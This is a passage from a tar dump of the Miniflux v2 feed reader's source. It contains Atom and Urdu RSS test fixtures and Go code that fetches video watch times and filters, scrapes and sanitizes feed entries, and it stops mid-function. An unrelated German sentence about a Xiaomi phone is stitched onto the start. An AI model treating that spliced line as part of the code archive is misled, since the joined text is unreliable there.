Xiaomis nächstes Flaggschiff bietet eine fast randlose Display-Front. Die Selfie-Kamera ist in einem magnetischen Slider-Mechanismus untergebracht. v2-2.2.5/internal/reader/parser/testdata/small_atom.xml 0000664 0000000 0000000 00000043051 14743520056 0023115 0 ustar 00root root 0000000 0000000
tag:github.com,2008:/miniflux/v2/commits/mainRecent Commits to v2:main2024-03-12T05:30:27Ztag:github.com,2008:Grit::Commit/6d97f8b4582414b6ce69467656824690057d4793
Parse podcast categories
2024-03-12T05:30:27Zfguillothttps://github.com/fguillot
<pre style='white-space:pre-wrap;width:81ex'>Parse podcast categories</pre>
tag:github.com,2008:Grit::Commit/f8e50947f2885047155a8070dddab133a5c685c2
Move iTunes and GooglePlay XML definitions to their own packages
2024-03-12T05:09:31Zfguillothttps://github.com/fguillot
<pre style='white-space:pre-wrap;width:81ex'>Move iTunes and GooglePlay XML definitions to their own packages</pre>
tag:github.com,2008:Grit::Commit/9a637ce95e05459adc4712027e6a07eaabcfe657
Refactor RSS parser to use default namespace
2024-03-12T04:07:13Zfguillothttps://github.com/fguillot
<pre style='white-space:pre-wrap;width:81ex'>Refactor RSS parser to use default namespace
This change avoid some limitations of the Go XML parser regarding XML namespaces</pre>
tag:github.com,2008:Grit::Commit/d3a85b049b14d4a4ddd6b813134b2abd45fe5e8d
jsminifier: set JavaScript version
2024-03-12T02:02:52Zfguillothttps://github.com/fguillot
<pre style='white-space:pre-wrap;width:81ex'>jsminifier: set JavaScript version</pre>
tag:github.com,2008:Grit::Commit/5bcb37901c60463b27e1211e0f68295f213b19e6
Use crypto.GenerateRandomBytes instead of doing it by hand
2024-03-11T23:31:43Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>Use crypto.GenerateRandomBytes instead of doing it by hand
This makes the code a bit shorter, and properly handle
cryptographic error conditions.</pre>
tag:github.com,2008:Grit::Commit/9c8a7dfffe2f4596dcbde2c923a7539914bb252f
Make use of HashFromBytes everywhere
2024-03-11T22:22:22Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>Make use of HashFromBytes everywhere
It feels a bit silly to have a function and to not make use of it.</pre>
tag:github.com,2008:Grit::Commit/74e4032ffc9faad4fec602f283a32d2af8dec47e
Small refactor of app.js
2024-03-11T22:18:57Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>Small refactor of app.js
- replace a lot of `let` with `const`
- inline some `querySelectorAll` calls
- reduce the scope of some variables
- use some ternaries where it makes sense
- inline one-line functions</pre>
tag:github.com,2008:Grit::Commit/fd1fee852cb35fa0f5b0ed6dc0c23b4a6ce368c3
Simplify DomHelper.getVisibleElements
2024-03-11T22:03:00Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>Simplify DomHelper.getVisibleElements
Use a `filter` instead of a loop with an index.</pre>
tag:github.com,2008:Grit::Commit/c51a3270da1f6af796b7d23fa4b434ccf11818e7
GitHub Actions: Add basic ESLinter checks
2024-03-11T03:57:27Zfguillothttps://github.com/fguillot
<pre style='white-space:pre-wrap;width:81ex'>GitHub Actions: Add basic ESLinter checks</pre>
tag:github.com,2008:Grit::Commit/45fa641d26a5f68e663aa9af72e97523d8d63c1e
Fix JavaScript linter path in GitHub Actions
2024-03-11T03:37:18Zfguillothttps://github.com/fguillot
<pre style='white-space:pre-wrap;width:81ex'>Fix JavaScript linter path in GitHub Actions</pre>
tag:github.com,2008:Grit::Commit/fd8f25916b025a92b1b8349ef9d0acdb832a9e8e
First steps towards trusted-types support
2024-03-11T03:14:30Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>First steps towards trusted-types support
Refactor away some trival usages of `.innerHTML`. Unfortunately, there is no way to
enabled trusted-types in report-only mode via `<meta>` tags, see
https://github.com/w3c/webappsec-csp/issues/277</pre>
tag:github.com,2008:Grit::Commit/826e4d654f511ea8d1d385bdc09cbed69ff6a70f
Replace DomHelper.findParent with .closest
2024-03-11T03:06:54Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>Replace DomHelper.findParent with .closest
See https://developer.mozilla.org/en-US/docs/Web/API/Element/closest</pre>
tag:github.com,2008:Grit::Commit/d9d17f0d69d1dafb3bd9d81bf9fc27df3def4f4c
Use a `Set` instead of an array in a KeyboardHandler's member
2024-03-11T02:41:13Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>Use a `Set` instead of an array in a KeyboardHandler's member
The variable `triggers` is only used to check if in contains a particular
value. Given that the number of keyboard shortcuts is starting to be
significant, let's future-proof the performances and use a `Set` instead of an
`Array` instead.</pre>
tag:github.com,2008:Grit::Commit/eaaeb68474ff194f682e9521a848d7ab2c89348e
Fix conditions to publish packages in GitHub workflows
2024-03-10T19:25:13Zfguillothttps://github.com/fguillot
<pre style='white-space:pre-wrap;width:81ex'>Fix conditions to publish packages in GitHub workflows</pre>
tag:github.com,2008:Grit::Commit/382885f14403526adfa6c303927889c76fd5a1eb
Update changeLog
2024-03-10T17:50:47Zfguillothttps://github.com/fguillot
<pre style='white-space:pre-wrap;width:81ex'>Update changeLog</pre>
tag:github.com,2008:Grit::Commit/0f7b047b0a81253b6d146e05d561545303016b74
Bump github.com/go-jose/go-jose/v3 from 3.0.1 to 3.0.3
2024-03-08T04:59:42Zdependabothttps://github.com/dependabot
<pre style='white-space:pre-wrap;width:81ex'>Bump github.com/go-jose/go-jose/v3 from 3.0.1 to 3.0.3
Bumps [github.com/go-jose/go-jose/v3](https://github.com/go-jose/go-jose) from 3.0.1 to 3.0.3.
- [Release notes](https://github.com/go-jose/go-jose/releases)
- [Changelog](https://github.com/go-jose/go-jose/blob/v3.0.3/CHANGELOG.md)
- [Commits](https://github.com/go-jose/go-jose/compare/v3.0.1...v3.0.3)
---
updated-dependencies:
- dependency-name: github.com/go-jose/go-jose/v3
dependency-type: indirect
...
Signed-off-by: dependabot[bot] <support@github.com></pre>
tag:github.com,2008:Grit::Commit/a074773e6c5d3b2066094cbac0502094aa364713
Use an io.ReadSeeker instead of an io.Reader to parse feeds
2024-03-07T04:13:39Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>Use an io.ReadSeeker instead of an io.Reader to parse feeds
This will allow to make use of func (*Reader) Seek, instead of re-recreating a
new reader. It's a large commit for a small change, but anything to simply the
reader/buffer/ReadAll/… mess is a step in the right direction I think, and it
should enable more follow-up simplifications.</pre>
tag:github.com,2008:Grit::Commit/3d0126be0b8a603401b7593250f80b0a8042b995
Speed the sanitizer up a bit, again
2024-03-06T03:31:50Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>Speed the sanitizer up a bit, again
- allow youtube urls to start with `www`
- use `strings.Builder` instead of a `bytes.Buffer`
- use a `strings.NewReader` instead of a `bytes.NewBufferString`
- sprinkles a couple of `continue` to make the code-flow more obvious
- inline calls to `inList`, and put their parameters in the right order
- simplify isPixelTracker
- simplify `isValidIframeSource`, by extracting the hostname and comparing it
directly, instead of using the full url and checking if it starts with
multiple variations of the same one (`//`, `http:`, `https://` multiplied by
``/`www.`)
- add a benchmark</pre>
tag:github.com,2008:Grit::Commit/eda2e2f3f5c278e44e2def72caedc33667a0fb6c
Bump golang.org/x/oauth2 from 0.17.0 to 0.18.0
2024-03-05T23:39:07Zdependabothttps://github.com/dependabot
<pre style='white-space:pre-wrap;width:81ex'>Bump golang.org/x/oauth2 from 0.17.0 to 0.18.0
Bumps [golang.org/x/oauth2](https://github.com/golang/oauth2) from 0.17.0 to 0.18.0.
- [Commits](https://github.com/golang/oauth2/compare/v0.17.0...v0.18.0)
---
updated-dependencies:
- dependency-name: golang.org/x/oauth2
dependency-type: direct:production
update-type: version-update:semver-minor
...
Signed-off-by: dependabot[bot] <support@github.com></pre>
tag:github.com,2008:Grit::Commit/111e3f2106646cd29f7f74c0102f2a570c598e2e
Reuse a Reader instead of copying to a buffer when parsing an atom feed
2024-03-05T01:36:10Zjvoisinhttps://github.com/jvoisin
<pre style='white-space:pre-wrap;width:81ex'>Reuse a Reader instead of copying to a buffer when parsing an atom feed</pre>
v2-2.2.5/internal/reader/parser/testdata/urdu_UTF8.xml 0000664 0000000 0000000 00000057701 14743520056 0022561 0 ustar 00root root 0000000 0000000 <![CDATA[BBC News اردو - پاکستان کے لیے امریکی امداد کی بہار و خزاں]]>
http://www.bbcurdu.com
http://www.bbc.co.uk/urdu/images/gel/rss_logo.gifBBC News اردو - پاکستان کے لیے امریکی امداد کی بہار و خزاں
http://www.bbcurdu.com
RSS for NodeWed, 24 Oct 2018 07:25:10 GMT15<![CDATA[امریکی عسکری امداد کی بندش کی وجوہات: انڈیا سے جنگ، جوہری پروگرام اور اب دہشت گردوں کی پشت پناہی]]>
http://www.bbc.com/urdu/pakistan-42575603
http://www.bbc.com/urdu/pakistan-42575603Fri, 05 Jan 2018 16:51:00 GMT<![CDATA[امریکہ کے ساتھ خفیہ معلومات کا تبادلہ اور فوجی تعاون معطل کر دیا: وزیر دفاع]]>
http://www.bbc.com/urdu/pakistan-42645212
http://www.bbc.com/urdu/pakistan-42645212Thu, 11 Jan 2018 13:20:55 GMT<![CDATA[پاکستان ان دہشت گرد گروہوں کے خلاف کارروائی کرے جن کے خلاف ہم چاہتے ہیں: امریکہ]]>
http://www.bbc.com/urdu/world-42615276
http://www.bbc.com/urdu/world-42615276Tue, 09 Jan 2018 02:59:43 GMT<![CDATA[پاکستانی وزیر دفاع کہتے ہیں کہ امریکہ کو ایک کامیابی ملی ہے، وہ بھی پاکستان کی مرہون منت]]>
http://www.bbc.com/urdu/pakistan-42554318
http://www.bbc.com/urdu/pakistan-42554318Wed, 03 Jan 2018 15:50:55 GMT<![CDATA[صدر ٹرمپ کے ٹویٹ کو سنجیدگی سے لیتے ہیں: وزیر دفاع]]>
http://www.bbc.com/urdu/42547605
http://www.bbc.com/urdu/42547605Tue, 02 Jan 2018 17:27:36 GMT<![CDATA[امریکی وزیرِ خارجہ کی پاکستان آمد]]>
http://www.bbc.com/urdu/pakistan-41739055
http://www.bbc.com/urdu/pakistan-41739055Tue, 24 Oct 2017 13:08:06 GMT<![CDATA[امریکہ اور پاکستان ایک دوسرے کا کیا بگاڑ سکتے ہیں؟]]>
http://www.bbc.com/urdu/pakistan-42542988
http://www.bbc.com/urdu/pakistan-42542988Tue, 02 Jan 2018 16:28:18 GMT<![CDATA[امریکہ اور پاکستان کے کشیدہ تعلقات میں اربوں ڈالر کی امداد پر بھی تنازع]]>
http://www.bbc.com/urdu/pakistan-42532582
http://www.bbc.com/urdu/pakistan-42532582Tue, 02 Jan 2018 10:28:02 GMT<![CDATA[’امریکہ انسداد دہشتگردی سیکھنے کے بجائے دشنام طرازی کر رہا ہے‘]]>
http://www.bbc.com/urdu/pakistan-42548010
http://www.bbc.com/urdu/pakistan-42548010Wed, 03 Jan 2018 05:04:13 GMT<![CDATA[پاکستان بھی ’مذہبی آزادیوں کی خلاف ورزیاں‘ کرنے والے ممالک میں شامل]]>
http://www.bbc.com/urdu/world-42571559
http://www.bbc.com/urdu/world-42571559Thu, 04 Jan 2018 17:12:58 GMT<![CDATA[پاکستان کی سکیورٹی امداد معطل: ’دہشت گردی کے خلاف عزم پر اثرانداز نہیں ہو سکتی‘]]>
http://www.bbc.com/urdu/pakistan-42577314
http://www.bbc.com/urdu/pakistan-42577314Fri, 05 Jan 2018 12:32:27 GMT<![CDATA[ڈونلڈ ٹرمپ: پاکستان نے ہمیں جھوٹ اور دھوکے کے سوا کچھ نہیں دیا]]>
http://www.bbc.com/urdu/world-42534486
http://www.bbc.com/urdu/world-42534486Mon, 01 Jan 2018 17:59:24 GMT<![CDATA[پاکستان: اتحادی ایک دوسرے کو تنبیہ جاری نہیں کیا کرتے]]>
http://www.bbc.com/urdu/world-42451883
http://www.bbc.com/urdu/world-42451883Fri, 22 Dec 2017 08:50:54 GMT<![CDATA[امریکہ: کون سے ممالک ہیں جن پر امداد بند کر دینے کی دھمکی کارگر ثابت نہیں ہوئی]]>
http://www.bbc.com/urdu/world-42457273
http://www.bbc.com/urdu/world-42457273Fri, 22 Dec 2017 15:29:44 GMT<![CDATA[پاکستان امریکہ تعلقات، بیان بدلتے ہیں لیکن عینک نہیں]]>
http://www.bbc.com/urdu/pakistan-42225606
http://www.bbc.com/urdu/pakistan-42225606Mon, 04 Dec 2017 13:36:14 GMT<![CDATA[پاکستان امریکہ تعلقات: ’باتیں دھمکی کی زبان سے نہیں صلح کی زبان سے طے ہوں گی‘]]>
http://www.bbc.com/urdu/pakistan-41742387
http://www.bbc.com/urdu/pakistan-41742387Wed, 25 Oct 2017 01:19:34 GMT<![CDATA[امریکہ کے ساتھ تعاون ختم کرنے پر غور کیا جائے: قرارداد]]>
http://www.bbc.com/urdu/pakistan-41097529
http://www.bbc.com/urdu/pakistan-41097529Wed, 30 Aug 2017 16:19:55 GMT<![CDATA[’پاکستان کو قربانی کا بکرا بناکر افغانستان میں امن نہیں لایا جاسکتا‘]]>
http://www.bbc.com/urdu/pakistan-41038882
http://www.bbc.com/urdu/pakistan-41038882Thu, 24 Aug 2017 14:35:50 GMT<![CDATA[امریکہ سے امداد کے نہیں اعتماد کے خواہاں ہیں: جنرل باجوہ]]>
http://www.bbc.com/urdu/pakistan-41024731
http://www.bbc.com/urdu/pakistan-41024731Wed, 23 Aug 2017 13:11:20 GMT<![CDATA[’پاکستان نے اپنے رویے کو تبدیل نہ کیا تو امریکی مراعات کھو سکتا ہے‘]]>
http://www.bbc.com/urdu/pakistan-41019799
http://www.bbc.com/urdu/pakistan-41019799Tue, 22 Aug 2017 23:06:07 GMT<![CDATA[امریکہ کا پاکستان کو ’نوٹس‘ کیا اور کتنا سنگین ہے؟]]>
http://www.bbc.com/urdu/pakistan-42550677
http://www.bbc.com/urdu/pakistan-42550677Wed, 03 Jan 2018 07:47:12 GMT<![CDATA[کمال ہے، اتنی دہشت؟]]>
http://www.bbc.com/urdu/pakistan-42594820
http://www.bbc.com/urdu/pakistan-42594820Sun, 07 Jan 2018 03:49:01 GMT<![CDATA[کیا امداد بند کرنے سے امریکہ کا مقصد پورا ہو گا؟]]>
http://www.bbc.com/urdu/pakistan-42575493
http://www.bbc.com/urdu/pakistan-42575493Fri, 05 Jan 2018 08:27:04 GMT<![CDATA[وہ تازیانے لگے ہوش سب ٹھکانے لگے]]>
http://www.bbc.com/urdu/42596931
http://www.bbc.com/urdu/42596931Sun, 07 Jan 2018 12:37:26 GMT<![CDATA[امریکہ پاکستان سے چاہتا کیا ہے؟]]>
http://www.bbc.com/urdu/pakistan-41736761
http://www.bbc.com/urdu/pakistan-41736761Tue, 24 Oct 2017 12:53:37 GMT<![CDATA[پاکستان امریکہ تعلقات میں ’ڈو مور‘ کا نیا ایڈیشن جو آج تک چل رہا]]>
http://www.bbc.com/urdu/pakistan-42422392
http://www.bbc.com/urdu/pakistan-42422392Wed, 20 Dec 2017 12:23:23 GMT v2-2.2.5/internal/reader/processor/ 0000775 0000000 0000000 00000000000 14743520056 0017152 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/processor/bilibili.go 0000664 0000000 0000000 00000005367 14743520056 0021273 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package processor
import (
"encoding/json"
"fmt"
"log/slog"
"regexp"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/fetcher"
)
var (
bilibiliURLRegex = regexp.MustCompile(`bilibili\.com/video/(.*)$`)
bilibiliVideoIdRegex = regexp.MustCompile(`/video/(?:av(\d+)|BV([a-zA-Z0-9]+))`)
)
func shouldFetchBilibiliWatchTime(entry *model.Entry) bool {
if !config.Opts.FetchBilibiliWatchTime() {
return false
}
matches := bilibiliURLRegex.FindStringSubmatch(entry.URL)
urlMatchesBilibiliPattern := len(matches) == 2
return urlMatchesBilibiliPattern
}
func extractBilibiliVideoID(websiteURL string) (string, string, error) {
matches := bilibiliVideoIdRegex.FindStringSubmatch(websiteURL)
if matches == nil {
return "", "", fmt.Errorf("no video ID found in URL: %s", websiteURL)
}
if matches[1] != "" {
return "aid", matches[1], nil
}
if matches[2] != "" {
return "bvid", matches[2], nil
}
return "", "", fmt.Errorf("unexpected regex match result for URL: %s", websiteURL)
}
func fetchBilibiliWatchTime(websiteURL string) (int, error) {
requestBuilder := fetcher.NewRequestBuilder()
requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())
requestBuilder.WithProxy(config.Opts.HTTPClientProxy())
idType, videoID, extractErr := extractBilibiliVideoID(websiteURL)
if extractErr != nil {
return 0, extractErr
}
bilibiliApiURL := fmt.Sprintf("https://api.bilibili.com/x/web-interface/view?%s=%s", idType, videoID)
responseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(bilibiliApiURL))
defer responseHandler.Close()
if localizedError := responseHandler.LocalizedError(); localizedError != nil {
slog.Warn("Unable to fetch Bilibili API",
slog.String("website_url", websiteURL),
slog.String("api_url", bilibiliApiURL),
slog.Any("error", localizedError.Error()))
return 0, localizedError.Error()
}
var result map[string]interface{}
doc := json.NewDecoder(responseHandler.Body(config.Opts.HTTPClientMaxBodySize()))
if docErr := doc.Decode(&result); docErr != nil {
return 0, fmt.Errorf("failed to decode API response: %v", docErr)
}
if code, ok := result["code"].(float64); !ok || code != 0 {
return 0, fmt.Errorf("API returned error code: %v", result["code"])
}
data, ok := result["data"].(map[string]interface{})
if !ok {
return 0, fmt.Errorf("data field not found or not an object")
}
duration, ok := data["duration"].(float64)
if !ok {
return 0, fmt.Errorf("duration not found or not a number")
}
intDuration := int(duration)
durationMin := intDuration / 60
if intDuration%60 != 0 {
durationMin++
}
return durationMin, nil
}
v2-2.2.5/internal/reader/processor/nebula.go 0000664 0000000 0000000 00000003244 14743520056 0020752 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package processor
import (
"errors"
"fmt"
"log/slog"
"net/url"
"strconv"
"github.com/PuerkitoBio/goquery"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/fetcher"
)
func shouldFetchNebulaWatchTime(entry *model.Entry) bool {
if !config.Opts.FetchNebulaWatchTime() {
return false
}
u, err := url.Parse(entry.URL)
if err != nil {
return false
}
return u.Hostname() == "nebula.tv"
}
func fetchNebulaWatchTime(websiteURL string) (int, error) {
requestBuilder := fetcher.NewRequestBuilder()
requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())
requestBuilder.WithProxy(config.Opts.HTTPClientProxy())
responseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(websiteURL))
defer responseHandler.Close()
if localizedError := responseHandler.LocalizedError(); localizedError != nil {
slog.Warn("Unable to fetch Nebula watch time", slog.String("website_url", websiteURL), slog.Any("error", localizedError.Error()))
return 0, localizedError.Error()
}
doc, docErr := goquery.NewDocumentFromReader(responseHandler.Body(config.Opts.HTTPClientMaxBodySize()))
if docErr != nil {
return 0, docErr
}
durs, exists := doc.FindMatcher(goquery.Single(`meta[property="video:duration"]`)).Attr("content")
// durs contains video watch time in seconds
if !exists {
return 0, errors.New("duration has not found")
}
dur, err := strconv.ParseInt(durs, 10, 64)
if err != nil {
return 0, fmt.Errorf("unable to parse duration %s: %v", durs, err)
}
return int(dur / 60), nil
}
v2-2.2.5/internal/reader/processor/odysee.go 0000664 0000000 0000000 00000003250 14743520056 0020771 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package processor
import (
"errors"
"fmt"
"log/slog"
"net/url"
"strconv"
"github.com/PuerkitoBio/goquery"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/fetcher"
)
func shouldFetchOdyseeWatchTime(entry *model.Entry) bool {
if !config.Opts.FetchOdyseeWatchTime() {
return false
}
u, err := url.Parse(entry.URL)
if err != nil {
return false
}
return u.Hostname() == "odysee.com"
}
func fetchOdyseeWatchTime(websiteURL string) (int, error) {
requestBuilder := fetcher.NewRequestBuilder()
requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())
requestBuilder.WithProxy(config.Opts.HTTPClientProxy())
responseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(websiteURL))
defer responseHandler.Close()
if localizedError := responseHandler.LocalizedError(); localizedError != nil {
slog.Warn("Unable to fetch Odysee watch time", slog.String("website_url", websiteURL), slog.Any("error", localizedError.Error()))
return 0, localizedError.Error()
}
doc, docErr := goquery.NewDocumentFromReader(responseHandler.Body(config.Opts.HTTPClientMaxBodySize()))
if docErr != nil {
return 0, docErr
}
durs, exists := doc.FindMatcher(goquery.Single(`meta[property="og:video:duration"]`)).Attr("content")
// durs contains video watch time in seconds
if !exists {
return 0, errors.New("duration has not found")
}
dur, err := strconv.ParseInt(durs, 10, 64)
if err != nil {
return 0, fmt.Errorf("unable to parse duration %s: %v", durs, err)
}
return int(dur / 60), nil
}
v2-2.2.5/internal/reader/processor/processor.go 0000664 0000000 0000000 00000035272 14743520056 0021531 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package processor
import (
"log/slog"
"regexp"
"slices"
"strings"
"time"
"github.com/tdewolff/minify/v2"
"github.com/tdewolff/minify/v2/html"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/metric"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/fetcher"
"miniflux.app/v2/internal/reader/readingtime"
"miniflux.app/v2/internal/reader/rewrite"
"miniflux.app/v2/internal/reader/sanitizer"
"miniflux.app/v2/internal/reader/scraper"
"miniflux.app/v2/internal/reader/urlcleaner"
"miniflux.app/v2/internal/storage"
)
var customReplaceRuleRegex = regexp.MustCompile(`rewrite\("([^"]+)"\|"([^"]+)"\)`)
// ProcessFeedEntries downloads original web page for entries and apply filters.
func ProcessFeedEntries(store *storage.Storage, feed *model.Feed, userID int64, forceRefresh bool) {
var filteredEntries model.Entries
user, storeErr := store.UserByID(userID)
if storeErr != nil {
slog.Error("Database error", slog.Any("error", storeErr))
return
}
// Process older entries first
for i := len(feed.Entries) - 1; i >= 0; i-- {
entry := feed.Entries[i]
slog.Debug("Processing entry",
slog.Int64("user_id", user.ID),
slog.String("entry_url", entry.URL),
slog.String("entry_hash", entry.Hash),
slog.String("entry_title", entry.Title),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
)
if isBlockedEntry(feed, entry, user) || !isAllowedEntry(feed, entry, user) || !isRecentEntry(entry) {
continue
}
if cleanedURL, err := urlcleaner.RemoveTrackingParameters(entry.URL); err == nil {
entry.URL = cleanedURL
}
pageBaseURL := ""
rewrittenURL := rewriteEntryURL(feed, entry)
entry.URL = rewrittenURL
entryIsNew := store.IsNewEntry(feed.ID, entry.Hash)
if feed.Crawler && (entryIsNew || forceRefresh) {
slog.Debug("Scraping entry",
slog.Int64("user_id", user.ID),
slog.String("entry_url", entry.URL),
slog.String("entry_hash", entry.Hash),
slog.String("entry_title", entry.Title),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.Bool("entry_is_new", entryIsNew),
slog.Bool("force_refresh", forceRefresh),
slog.String("rewritten_url", rewrittenURL),
)
startTime := time.Now()
requestBuilder := fetcher.NewRequestBuilder()
requestBuilder.WithUserAgent(feed.UserAgent, config.Opts.HTTPClientUserAgent())
requestBuilder.WithCookie(feed.Cookie)
requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())
requestBuilder.WithProxy(config.Opts.HTTPClientProxy())
requestBuilder.UseProxy(feed.FetchViaProxy)
requestBuilder.IgnoreTLSErrors(feed.AllowSelfSignedCertificates)
requestBuilder.DisableHTTP2(feed.DisableHTTP2)
scrapedPageBaseURL, extractedContent, scraperErr := scraper.ScrapeWebsite(
requestBuilder,
rewrittenURL,
feed.ScraperRules,
)
if scrapedPageBaseURL != "" {
pageBaseURL = scrapedPageBaseURL
}
if config.Opts.HasMetricsCollector() {
status := "success"
if scraperErr != nil {
status = "error"
}
metric.ScraperRequestDuration.WithLabelValues(status).Observe(time.Since(startTime).Seconds())
}
if scraperErr != nil {
slog.Warn("Unable to scrape entry",
slog.Int64("user_id", user.ID),
slog.String("entry_url", entry.URL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.Any("error", scraperErr),
)
} else if extractedContent != "" {
// We replace the entry content only if the scraper doesn't return any error.
entry.Content = minifyEntryContent(extractedContent)
}
}
rewrite.Rewriter(rewrittenURL, entry, feed.RewriteRules)
if pageBaseURL == "" {
pageBaseURL = rewrittenURL
}
// The sanitizer should always run at the end of the process to make sure unsafe HTML is filtered out.
entry.Content = sanitizer.Sanitize(pageBaseURL, entry.Content)
updateEntryReadingTime(store, feed, entry, entryIsNew, user)
filteredEntries = append(filteredEntries, entry)
}
feed.Entries = filteredEntries
}
func isBlockedEntry(feed *model.Feed, entry *model.Entry, user *model.User) bool {
if user.BlockFilterEntryRules != "" {
rules := strings.Split(user.BlockFilterEntryRules, "\n")
for _, rule := range rules {
parts := strings.SplitN(rule, "=", 2)
var match bool
switch parts[0] {
case "EntryDate":
datePattern := parts[1]
match = isDateMatchingPattern(entry.Date, datePattern)
case "EntryTitle":
match, _ = regexp.MatchString(parts[1], entry.Title)
case "EntryURL":
match, _ = regexp.MatchString(parts[1], entry.URL)
case "EntryCommentsURL":
match, _ = regexp.MatchString(parts[1], entry.CommentsURL)
case "EntryContent":
match, _ = regexp.MatchString(parts[1], entry.Content)
case "EntryAuthor":
match, _ = regexp.MatchString(parts[1], entry.Author)
case "EntryTag":
containsTag := slices.ContainsFunc(entry.Tags, func(tag string) bool {
match, _ = regexp.MatchString(parts[1], tag)
return match
})
if containsTag {
match = true
}
}
if match {
slog.Debug("Blocking entry based on rule",
slog.String("entry_url", entry.URL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.String("rule", rule),
)
return true
}
}
}
if feed.BlocklistRules == "" {
return false
}
compiledBlocklist, err := regexp.Compile(feed.BlocklistRules)
if err != nil {
slog.Debug("Failed on regexp compilation",
slog.String("pattern", feed.BlocklistRules),
slog.Any("error", err),
)
return false
}
containsBlockedTag := slices.ContainsFunc(entry.Tags, func(tag string) bool {
return compiledBlocklist.MatchString(tag)
})
if compiledBlocklist.MatchString(entry.URL) || compiledBlocklist.MatchString(entry.Title) || compiledBlocklist.MatchString(entry.Author) || containsBlockedTag {
slog.Debug("Blocking entry based on rule",
slog.String("entry_url", entry.URL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.String("rule", feed.BlocklistRules),
)
return true
}
return false
}
func isAllowedEntry(feed *model.Feed, entry *model.Entry, user *model.User) bool {
if user.KeepFilterEntryRules != "" {
rules := strings.Split(user.KeepFilterEntryRules, "\n")
for _, rule := range rules {
parts := strings.SplitN(rule, "=", 2)
var match bool
switch parts[0] {
case "EntryDate":
datePattern := parts[1]
match = isDateMatchingPattern(entry.Date, datePattern)
case "EntryTitle":
match, _ = regexp.MatchString(parts[1], entry.Title)
case "EntryURL":
match, _ = regexp.MatchString(parts[1], entry.URL)
case "EntryCommentsURL":
match, _ = regexp.MatchString(parts[1], entry.CommentsURL)
case "EntryContent":
match, _ = regexp.MatchString(parts[1], entry.Content)
case "EntryAuthor":
match, _ = regexp.MatchString(parts[1], entry.Author)
case "EntryTag":
containsTag := slices.ContainsFunc(entry.Tags, func(tag string) bool {
match, _ = regexp.MatchString(parts[1], tag)
return match
})
if containsTag {
match = true
}
}
if match {
slog.Debug("Allowing entry based on rule",
slog.String("entry_url", entry.URL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.String("rule", rule),
)
return true
}
}
return false
}
if feed.KeeplistRules == "" {
return true
}
compiledKeeplist, err := regexp.Compile(feed.KeeplistRules)
if err != nil {
slog.Debug("Failed on regexp compilation",
slog.String("pattern", feed.KeeplistRules),
slog.Any("error", err),
)
return false
}
containsAllowedTag := slices.ContainsFunc(entry.Tags, func(tag string) bool {
return compiledKeeplist.MatchString(tag)
})
if compiledKeeplist.MatchString(entry.URL) || compiledKeeplist.MatchString(entry.Title) || compiledKeeplist.MatchString(entry.Author) || containsAllowedTag {
slog.Debug("Allow entry based on rule",
slog.String("entry_url", entry.URL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.String("rule", feed.KeeplistRules),
)
return true
}
return false
}
// ProcessEntryWebPage downloads the entry web page and apply rewrite rules.
func ProcessEntryWebPage(feed *model.Feed, entry *model.Entry, user *model.User) error {
startTime := time.Now()
rewrittenEntryURL := rewriteEntryURL(feed, entry)
requestBuilder := fetcher.NewRequestBuilder()
requestBuilder.WithUserAgent(feed.UserAgent, config.Opts.HTTPClientUserAgent())
requestBuilder.WithCookie(feed.Cookie)
requestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())
requestBuilder.WithProxy(config.Opts.HTTPClientProxy())
requestBuilder.UseProxy(feed.FetchViaProxy)
requestBuilder.IgnoreTLSErrors(feed.AllowSelfSignedCertificates)
requestBuilder.DisableHTTP2(feed.DisableHTTP2)
pageBaseURL, extractedContent, scraperErr := scraper.ScrapeWebsite(
requestBuilder,
rewrittenEntryURL,
feed.ScraperRules,
)
if config.Opts.HasMetricsCollector() {
status := "success"
if scraperErr != nil {
status = "error"
}
